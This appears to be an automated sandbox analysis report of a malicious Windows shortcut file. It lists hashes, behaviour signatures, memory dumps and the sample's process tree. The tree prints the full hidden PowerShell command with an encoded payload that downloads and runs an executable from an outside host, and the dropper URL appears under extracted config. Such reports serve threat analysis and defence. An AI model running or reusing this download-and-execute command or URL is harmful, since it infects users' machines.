Analysis
- max time kernel
51s - max time network
51s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
12/06/2024, 22:27
General
- Target FormN899766.lnk
- Size 1KB
- Sample240612-2dcy5ashmf
- SHA256 cb769b39fb095af683c57d9eb16fd3c524906b3ff94d865e9c68ff6156f5646d
Malware Config
Extracted
-
ps1
-
exe.dropper
http://fructus.com.my/admin/images/form.exe
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\FormN899766.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0AHMAVAByAGEAbgBzAGYAZQByADsAIABzAHQAYQByAHQAIAAiAHcAaQBuAG0AYQB4AC4AZQB4AGUAIgA7ACAAUwB0AGEAcgB0AC0AQgBpAHQAcwBUAHIAYQBuAHMAZgBlAHIAIABoAHQAdABwADoALwAvAGYAcgB1AGMAdAB1AHMALgBjAG8AbQAuAG0AeQAvAGEAZABtAGkAbgAvAGkAbQBhAGcAZQBzAC8AZgBvAHIAbQAuAGUAeABlACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAHcAaQBuAG0AYQB4AC4AZQB4AGUAIgA7ACAAcwB0AGEAcgB0ACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAHcAaQBuAG0AYQB4AC4AZQB4AGUAIgA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_g523bjye.50s.ps1
memory/4160-2-0x00007FF9A7DC3000-0x00007FF9A7DC5000-memory.dmp
memory/4160-12-0x0000020FE7760000-0x0000020FE7782000-memory.dmp
memory/4160-13-0x00007FF9A7DC0000-0x00007FF9A8881000-memory.dmp
memory/4160-14-0x00007FF9A7DC0000-0x00007FF9A8881000-memory.dmp
memory/4160-15-0x0000020FE7790000-0x0000020FE77B6000-memory.dmp
memory/4160-16-0x0000020FE9EC0000-0x0000020FE9ED4000-memory.dmp
memory/4160-17-0x00007FF9A7DC0000-0x00007FF9A8881000-memory.dmp
memory/4160-18-0x00007FF9A7DC0000-0x00007FF9A8881000-memory.dmp
memory/4160-19-0x0000020FE9860000-0x0000020FE9A7C000-memory.dmp
memory/4160-22-0x0000020FE9860000-0x0000020FE9A7C000-memory.dmp
memory/4160-23-0x00007FF9A7DC0000-0x00007FF9A8881000-memory.dmp